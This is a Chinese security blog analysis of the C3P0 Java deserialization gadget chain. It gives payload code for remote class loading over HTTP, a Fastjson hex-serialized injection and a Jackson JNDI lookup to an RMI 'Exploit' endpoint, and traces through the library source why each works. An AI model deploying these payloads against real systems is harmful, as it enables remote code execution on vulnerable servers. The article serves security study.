浅谈Java安全之C3P0链利用与分析

目录
  • 0x00 前言
  • 0x01 利用方式
    • 利用方式
    • http base使用
  • 0x02 C3P0分析
    • 构造分析
    • 利用分析
    • HEX序列化字节加载器
    • JNDI利用
  • 0x03 结尾

0x00 前言

在一些比较极端情况下,C3P0链的使用还是挺频繁的。

0x01 利用方式

利用方式

在C3P0中有三种利用方式

  • http base
  • JNDI
  • HEX序列化字节加载器

在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行。JNDI则适用于Jackson等利用。而HEX序列化字节加载器的方式可以利用与fj和Jackson等不出网情况下打入内存马使用。

http base使用

使用也很简单,可以直接使用yso生成数据进行发送到服务端,然后加载到指定的远程类。

public class test1 {
    public static void main(String[] args) throws Exception {
        C3P0 c3P0 = new C3P0();
        Object object = c3P0.getObject("http://127.0.0.1:80/:exp");

        byte[] serialize = Serializer.serialize(object);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object o = objectInputStream.readObject();

    }
}

0x02 C3P0分析

构造分析

public Object getObject ( String command ) throws Exception {
        int sep = command.lastIndexOf(':');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
        }

        String url = command.substring(0, sep);
        String className = command.substring(sep + 1);
        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
        return b;
    }
    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

       ......
    }

代码比较简单,反射创建了一个PoolBackedDataSource实例对象,然后反射将connectionPoolDataSource的值设置为PoolSource类的实例,传递classNameurl参数。即我们传入的远程地址和类名。

在序列化的时候会去调用我们的com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject

这行代码走到了catch代码块里面,因为我们传入的this.connectionPoolDataSourcePoolSource类是不可被序列化的。

继续走到下面代码来看。

 public IndirectlySerialized indirectForm(Object var1) throws Exception {
        Reference var2 = ((Referenceable)var1).getReference();
        return new ReferenceIndirector.ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
    }

调用我们传递的this.connectionPoolDataSourcegetReference();方法。来获取到一个Reference这也是前面为我们要重写这个方法的原因。

实例ReferenceIndirector.ReferenceSerialized将刚刚获取的Reference传递进去。

利用分析

反序列化入口为com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject

调用readObject内部会调用ReferenceIndirector.getObject()

Class.forName ,如果可以控制forName⽅法的第⼀个和第三个参数,并且第⼆个参数为 true,那么就可以利⽤BCEL, ClassLoader实现任意代码加载执⾏ 。

把代码抠出来测试一下

ClassLoader var6 = Thread.currentThread().getContextClassLoader();
        URL var8 = new URL("http://127.0.0.1:80");
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{var8}, var6);
        Class var12 = Class.forName("exp", true, urlClassLoader);

跟踪了一下forName0native修饰的内部使用C/C++实现无法进行查看。

来看到官方的讲解。

Returns the Class object associated with the class or interface with the given string name, using the given class loader. Given the fully qualified name for a class or interface (in the same format returned by getName) this method attempts to locate, load, and link the class or interface. The specified class loader is used to load the class or interface. If the parameter loader is null, the class is loaded through the bootstrap class loader. The class is initialized only if the initialize parameter is true and if it has not been initialized earlier.

翻译大概的意思就是返回一个给定类或者接口的一个 Class 对象,如果没有给定 classloader, 那么会使用根类加载器。如果initalize这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化。

也就是说我们的exp会被初始化,执行我们static代码块中的恶意代码。

官方说明

HEX序列化字节加载器

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:hex编码内容;"}}

在fj反序列化userOverridesAsString调用settingsetter传入以HexAsciiSerializedMap开头的字符串进行解码并触发原生反序列化。

来看到调用流程。下面调用到这里

 this.vcs.fireVetoableChange("userOverridesAsString", oldVal, userOverridesAsString);

一路跟踪来到com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString

 public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
        if (userOverridesAsString != null) {
            String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
            byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
            return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
        } else {
            return Collections.EMPTY_MAP;
        }
    }

HexAsciiSerializedMap中内容提取出来进行反序列化

JNDI利用

 public static void main(String[] args) throws IOException, JsonProcessingException {
        String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
        System.out.println(poc);
        ObjectMapper objectMapper = new ObjectMapper();
        objectMapper.enableDefaultTyping();
        objectMapper.readValue(poc, Person.class);
    }

jackson和fastjson特性一样会调用setter,这里利用的是JndiRefDataSourceBase中的setjndiName

0x03 结尾

构造序列化payload时,C3P0版本也会对漏洞利用有所影响。

到此这篇关于浅谈Java安全之C3P0链利用与分析的文章就介绍到这了,更多相关Java C3P0链内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • Java 数据库连接池c3p0 介绍

    目录 1.配置参数 1.1.基础配置 1.2.连接池大小 1.3.连接池大小和连接存活时间 1.4.连接测试 1.5.预编译池 1.6.数据库中断的恢复 1.7.自定义连接生命周期管理 1.8.处理未提交的事务 1.9.调试 1.10.避免热部署内存泄露 1.11.其它配置 2.原始连接操作 3.使用 3.1.直接使用 3.1.1.引入依赖 3.1.2.使用例子 3.2.在 SpringBoot 中使用 3.1.1.引入依赖 3.1.2.单数据源 3.1.3.多数据源 前言: c3p0 是一个开

  • Java数据库连接池之c3p0简介_动力节点Java学院整理

    c3p0是什么 c3p0的出现,是为了大大提高应用程序和数据库之间访问效率的. 它的特性: 编码的简单易用 连接的复用 连接的管理 说到c3p0,不得不说一下jdbc本身,c3p0愿意就是对数据库连接的管理,那么原有的概念还是得清晰:DriverManager.Connection.StateMent.ResultMent. jdbc:java database connective这套API,不用多说,是一套用于连接各式dbms或连接桥接器的api,两个层级:上层供应用方调用api,下层,定义

  • 数据库连接池c3p0配置_动力节点Java学院整理

    c3p0的配置方式分为三种,分别是 1.setters一个个地设置各个配置项 2.类路径下提供一个c3p0.properties文件 3.类路径下提供一个c3p0-config.xml文件 1.setters一个个地设置各个配置项 这种方式最繁琐,形式一般是这样: Properties props = new Properties(); InputStream in = ConnectionManager.class.getResourceAsStream("/c3p0.properties&q

  • Java使用C3P0数据源链接数据库

    本文实例为大家分享了Java使用C3P0数据源链接数据库的具体代码,供大家参考,具体内容如下 1.相关jar包,这里需要3个jar包 2.具体链接数据库代码 ComboPooledDataSource类继承自AbstractComboPooledDataSource类,且AbstractComboPooledDataSource类实现了PooledDataSource接口 ComboPooledDataSource常用方法 (1).通过ComboPooledDataSource类直接创建数据源对

  • 浅谈Java安全之C3P0的使用

    写在前面 很久以前就听nice0e3师傅说打Fastjson可以试试C3P0,当时还不会java(虽然现在也没会多少)也就没有深究.最近调试Fastjson的漏洞,又想到了这个点,就拿出来学习下. C3P0 Gadget C3P0中有三种利用方式 http base JNDI HEX序列化字节加载器 下面来一点点看他们究竟是怎样使用的. 先贴上ysoserial项目中C3P0 Gadget的源码: package ysoserial.payloads; import java.io.PrintW

  • Java数据库连接池c3p0过程解析

    首先下载c3p0的jar包 https://mvnrepository.com/search?q=c3p0 导入jar包到eclipse 将c3p0的jar包放到eclipse中,单击右键,选择build path ,在选择 add jars 创建连接池对象 ComboPooledDataSource cpd= new ComboPooledDataSource(); 设置连接参数 方法一 使用静态代码块来初始化参数(不推荐)如果数据库发生改变,源文件需要重新编写编译,项目需要重新部署 stat

  • 浅谈Java安全之C3P0链利用与分析

    目录 0x00 前言 0x01 利用方式 利用方式 http base使用 0x02 C3P0分析 构造分析 利用分析 HEX序列化字节加载器 JNDI利用 0x03 结尾 0x00 前言 在一些比较极端情况下,C3P0链的使用还是挺频繁的. 0x01 利用方式 利用方式 在C3P0中有三种利用方式 http base JNDI HEX序列化字节加载器 在原生的反序列化中如果找不到其他链,则可尝试C3P0去加载远程的类进行命令执行.JNDI则适用于Jackson等利用.而HEX序列化字节加载器的

  • 浅谈Java代码的 微信长链转短链接口使用 post 请求封装Json(实例)

    废话不多说,直接上代码 String longUrl = "https://open.weixin.qq.com/connect/oauth2/authorize?appid=" + MpUtil.APPID + "&redirect_uri=" + MpUtil.HOMEPAGE + "/nweixinLoginPc.fo%3Frandomcode=" + randomcode + "&response_type=co

  • 浅谈java异常链与异常丢失

    1.在java的构造方法中提供了 异常链.. 也就是我们可以通过构造方法不断的将 异常串联成一个异常链... 之所以需要异常连,是因为处于代码的可理解性,以及阅读和程序的可维护性... 我们知道我们每抛出一个异常都需要进行try catch ...那么岂不是代码很臃肿... 我们如果可以将异常串联成一个异常连,然后我们只捕获我们的包装 异常,我们知道 RuntimeException 以及其派生类可以不进行try catch 而被jvm自动捕获并处理.. 当然了我们可以自己定义自己的异常类从Ru

  • 浅谈JAVA 责任链模式

    顾名思义,责任链模式(Chain of Responsibility Pattern)为请求创建了一个接收者对象的链.这种模式给予请求的类型,对请求的发送者和接收者进行解耦.这种类型的设计模式属于行为型模式. 在这种模式中,通常每个接收者都包含对另一个接收者的引用.如果一个对象不能处理该请求,那么它会把相同的请求传给下一个接收者,依此类推. 介绍 意图: 避免请求发送者与接收者耦合在一起,让多个对象都有可能接收请求,将这些对象连接成一条链,并且沿着这条链传递请求,直到有对象处理它为止. 主要解决

  • 浅谈Java编程之if-else的优化技巧总结

    一.使用策略枚举来优化if-else 看到网上蛮多人推荐使用策略模式来优化if-else,但我总觉得,搞一堆策略类来优化大批量if-else,虽然想法很好,但无意之中很可能又会创造出很多类对象,就显得过于繁重了.若想使用策略模式来优化大批量if-else,其实有一种更好的方式,这是策略模式+枚举方式的改良 二.使用三目运算符来优化if-else 1.根据if-else条件来判断赋值的,如: String id=""; if(flag){ id="a"; }else{

  • 浅谈Java中Unicode的编码和实现

    Unicode的编码和实现 大概来说,Unicode编码系统可分为编码方式和实现方式两个层次. 编码方式 字符是抽象的最小文本单位.它没有固定的形状(可能是一个字形),而且没有值."A"是一个字符,"€"也是一个字符.字符集是字符的集合.编码字符集是一个字符集,它为每一个字符分配一个唯一数字. Unicode 最初设计是作为一种固定宽度的 16 位字符编码.也就是每个字符占用2个字节.这样理论上一共最多可以表示216(即65536)个字符.上述16位统一码字符构成基

  • 浅谈Java多线程处理中Future的妙用(附源码)

    java 中Future是一个未来对象,里面保存这线程处理结果,它像一个提货凭证,拿着它你可以随时去提取结果.在两种情况下,离开Future几乎很难办.一种情况是拆分订单,比如你的应用收到一个批量订单,此时如果要求最快的处理订单,那么需要并发处理,并发的结果如果收集,这个问题如果自己去编程将非常繁琐,此时可以使用CompletionService解决这个问题.CompletionService将Future收集到一个队列里,可以按结果处理完成的先后顺序进队.另外一种情况是,如果你需要并发去查询一

  • 浅谈java指令重排序的问题

    指令重排序是个比较复杂.觉得有些不可思议的问题,同样是先以例子开头(建议大家跑下例子,这是实实在在可以重现的,重排序的概率还是挺高的),有个感性的认识 /** * 一个简单的展示Happen-Before的例子. * 这里有两个共享变量:a和flag,初始值分别为0和false.在ThreadA中先给 a=1,然后flag=true. * 如果按照有序的话,那么在ThreadB中如果if(flag)成功的话,则应该a=1,而a=a*1之后a仍然为1,下方的if(a==0)应该永远不会为 * 真,

  • 浅谈Java自定义注解和运行时靠反射获取注解

    java自定义注解 Java注解是附加在代码中的一些元信息,用于一些工具在编译.运行时进行解析和使用,起到说明.配置的功能. 注解不会也不能影响代码的实际逻辑,仅仅起到辅助性的作用.包含在 java.lang.annotation 包中. 1.元注解 元注解是指注解的注解.包括  @Retention @Target @Document @Inherited四种. 1.1.@Retention: 定义注解的保留策略 @Retention(RetentionPolicy.SOURCE) //注解仅

随机推荐